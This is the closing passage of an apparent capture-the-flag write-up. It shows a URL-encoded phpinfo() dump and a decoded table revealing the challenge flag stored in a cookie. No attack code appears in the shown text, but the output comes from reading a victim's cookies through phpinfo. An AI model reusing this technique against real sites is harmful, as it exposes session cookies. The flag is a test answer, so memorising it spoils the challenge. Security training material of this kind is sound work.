20Stanislav%20Malyshev%2C%20Dmitry%20Stogov%2C%20Xinchen%20Hui%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EOpenSSL%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EStig%20Venaas%2C%20Wez%20Furlong%2C%20Sascha%20Kettler%2C%20Scott%20MacVicar%2C%20Eliot%20Lear%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EOracle%20(OCI)%20driver%20for%20PDO%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EWez%20Furlong%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Epcntl%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EJason%20Greene%2C%20Arnaud%20Le%20Blanc%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EPerl%20Compatible%20Regexps%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EAndrei%20Zmievski%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EPHP%20Archive%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EGregory%20Beaver%2C%20Marcus%20Boerger%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EPHP%20Data%20Objects%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EWez%20Furlong%2C%20Marcus%20Boerger%2C%20Sterling%20Hughes%2C%20George%20Schlossnagle%2C%20Ilia%20Alshanetsky%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EPHP%20hash%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3ESara%20Golemon%2C%20Rasmus%20Lerdorf%2C%20Stefan%20Esser%2C%20Michael%20Wallner%2C%20Scott%20MacVicar%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EPosix%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EKristian%20Koehntopp%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EPostgreSQL%20driver%20for%20PDO%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EEdin%20Kadribasic%2C%20Ilia%20Alshanetsky%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EPostgreSQL%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EJouni%20Ahto%2C%20Zeev%20Suraski%2C%20Yasuo%20Ohgaki%2C%20Chris%20Kings-Lynne%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EPspell%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EVlad%20Krupin%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Erandom%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EGo%20Kudo%2C%20Tim%20D%C3%BCsterhus%2C%20Guilliam%20Xavier%2C%20Christoph%20M.%20Becker%2C%20Jakub%20Zelenka%2C%20Bob%20Weinand%2C%20M%C3%A1t%C3%A9%20Kocsis%2C%20and%20Original%20RNG%20implementators%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EReadline%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EThies%20C.%20Arntzen%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EReflection%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EMarcus%20Boerger%2C%20Timm%20Friebe%2C%20George%20Schlossnagle%2C%20Andrei%20Zmievski%2C%20Johannes%20Schlueter%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3ESessions%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3ESascha%20Schumann%2C%20Andrei%20Zmievski%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EShared%20Memory%20Operations%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3ESlava%20Poliakov%2C%20Ilia%20Alshanetsky%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3ESimpleXML%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3ESterling%20Hughes%2C%20Marcus%20Boerger%2C%20Rob%20Richards%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3ESNMP%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3ERasmus%20Lerdorf%2C%20Harrie%20Hazewinkel%2C%20Mike%20Jackson%2C%20Steven%20Lawrance%2C%20Johann%20Hanne%2C%20Boris%20Lytochkin%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3ESOAP%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EBrad%20Lafountain%2C%20Shane%20Caraveo%2C%20Dmitry%20Stogov%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3ESockets%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EChris%20Vandomelen%2C%20Sterling%20Hughes%2C%20Daniel%20Beulshausen%2C%20Jason%20Greene%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3ESodium%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EFrank%20Denis%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3ESPL%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EMarcus%20Boerger%2C%20Etienne%20Kneuss%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3ESQLite%203.x%20driver%20for%20PDO%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EWez%20Furlong%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3ESQLite3%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EScott%20MacVicar%2C%20Ilia%20Alshanetsky%2C%20Brad%20Dewar%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3ESystem%20V%20Message%20based%20IPC%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EWez%20Furlong%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3ESystem%20V%20Semaphores%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3ETom%20May%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3ESystem%20V%20Shared%20Memory%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EChristian%20Cartus%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Etidy%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EJohn%20Coggeshall%2C%20Ilia%20Alshanetsky%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Etokenizer%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EAndrei%20Zmievski%2C%20Johannes%20Schlueter%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EXML%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EStig%20Bakken%2C%20Thies%20C.%20Arntzen%2C%20Sterling%20Hughes%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EXMLReader%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3ERob%20Richards%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EXMLWriter%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3ERob%20Richards%2C%20Pierre-Alain%20Joye%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EXSL%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EChristian%20Stocker%2C%20Rob%20Richards%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EZip%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EPierre-Alain%20Joye%2C%20Remi%20Collet%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EZlib%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3ERasmus%20Lerdorf%2C%20Stefan%20Roehrich%2C%20Zeev%20Suraski%2C%20Jade%20Nicoletti%2C%20Michael%20Wallner%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ctable%3E%0A%3Ctr%20class%3D%22h%22%3E%3Cth%20colspan%3D%222%22%3EPHP%20Documentation%3C%2Fth%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EAuthors%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EMehdi%20Achour%2C%20Friedhelm%20Betz%2C%20Antony%20Dovgal%2C%20Nuno%20Lopes%2C%20Hannes%20Magnusson%2C%20Philip%20Olson%2C%20Georg%20Richter%2C%20Damien%20Seguy%2C%20Jakub%20Vrana%2C%20Adam%20Harvey%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EEditor%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EPeter%20Cowburn%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EUser%20Note%20Maintainers%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EDaniel%20P.%20Brown%2C%20Thiago%20Henrique%20Pojda%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EOther%20Contributors%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EPreviously%20active%20authors%2C%20editors%20and%20other%20contributors%20are%20listed%20in%20the%20manual.%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ctable%3E%0A%3Ctr%20class%3D%22h%22%3E%3Cth%3EPHP%20Quality%20Assurance%20Team%3C%2Fth%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EIlia%20Alshanetsky%2C%20Joerg%20Behrens%2C%20Antony%20Dovgal%2C%20Stefan%20Esser%2C%20Moriyoshi%20Koizumi%2C%20Magnus%20Maatta%2C%20Sebastian%20Nohn%2C%20Derick%20Rethans%2C%20Melvyn%20Sopacua%2C%20Pierre-Alain%20Joye%2C%20Dmitry%20Stogov%2C%20Felipe%20Pena%2C%20David%20Soria%20Parra%2C%20Stanislav%20Malyshev%2C%20Julien%20Pauli%2C%20Stephen%20Zarkos%2C%20Anatol%20Belski%2C%20Remi%20Collet%2C%20Ferenc%20Kovacs%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ctable%3E%0A%3Ctr%20class%3D%22h%22%3E%3Cth%20colspan%3D%222%22%3EWebsites%20and%20Infrastructure%20team%3C%2Fth%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EPHP%20Websites%20Team%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3ERasmus%20Lerdorf%2C%20Hannes%20Magnusson%2C%20Philip%20Olson%2C%20Lukas%20Kahwe%20Smith%2C%20Pierre-Alain%20Joye%2C%20Kalle%20Sommer%20Nielsen%2C%20Peter%20Cowburn%2C%20Adam%20Harvey%2C%20Ferenc%20Kovacs%2C%20Levi%20Morrison%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EEvent%20Maintainers%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EDamien%20Seguy%2C%20Daniel%20P.%20Brown%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3ENetwork%20Infrastructure%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EDaniel%20P.%20Brown%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EWindows%20Infrastructure%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EAlex%20Schoenmaker%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ctable%3E%0A%3Ctr%20class%3D%22h%22%3E%3Cth%20colspan%3D%221%22%3EDebian%20Packaging%3C%2Fth%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EOnd%C5%99ej%20Sur%C3%BD%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ch2%3EPHP%20License%3C%2Fh2%3E%0A%3Ctable%3E%0A%3Ctr%20class%3D%22v%22%3E%3Ctd%3E%0A%3Cp%3E%0AThis%20program%20is%20free%20software%3B%20you%20can%20redistribute%20it%20and%2For%20modify%20it%20under%20the%20terms%20of%20the%20PHP%20License%20as%20published%20by%20the%20PHP%20Group%20and%20included%20in%20the%20distribution%20in%20the%20file%3A%20%20LICENSE%0A%3C%2Fp%3E%0A%3Cp%3EThis%20program%20is%20distributed%20in%20the%20hope%20that%20it%20will%20be%20useful%2C%20but%20WITHOUT%20ANY%20WARRANTY%3B%20without%20even%20the%20implied%20warranty%20of%20MERCHANTABILITY%20or%20FITNESS%20FOR%20A%20PARTICULAR%20PURPOSE.%0A%3C%2Fp%3E%0A%3Cp%3EIf%20you%20did%20not%20receive%20a%20copy%20of%20the%20PHP%20license%2C%20or%20have%20any%20questions%20about%20PHP%20licensing%2C%20please%20contact%20license%40php.net.%0A%3C%2Fp%3E%0A%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3C%2Fdiv%3E%3C%2Fbody%3E%3C%2Fhtml%3E

Flag

1
2
3
4
5
6
7
8
9
<h2>PHP Variables</h2>
<table>
<tr class="h"><th>Variable</th><th>Value</th></tr>
<tr><td class="e">$_COOKIE['FLAG']</td><td class="v">idek{Ghazy_N3gm_Elbalad}</td></tr>
<tr><td class="e">$_SERVER['USER']</td><td class="v">www-data</td></tr>
<tr><td class="e">$_SERVER['HOME']</td><td class="v">/var/www</td></tr>
<tr><td class="e">$_SERVER['PATH_TRANSLATED']</td><td class="v">/usr/share/nginx/html</td></tr>
<tr><td class="e">$_SERVER['ORIG_SCRIPT_FILENAME']</td><td class="v">/usr/share/nginx/html/info.php/info.php</td></tr>
<tr><td class="e">$_SERVER['HTTP_COOKIE']</td><td class="v">FLAG=idek{Ghazy_N3gm_Elbalad}</td></tr>

Put the result into any url decoder and we will find the flag where it is actually stored inside the $_SERVER['HTTP_COOKIE'] variable and $_COOKIE['FLAG'] variable.

This post is licensed under CC BY 4.0 by the author.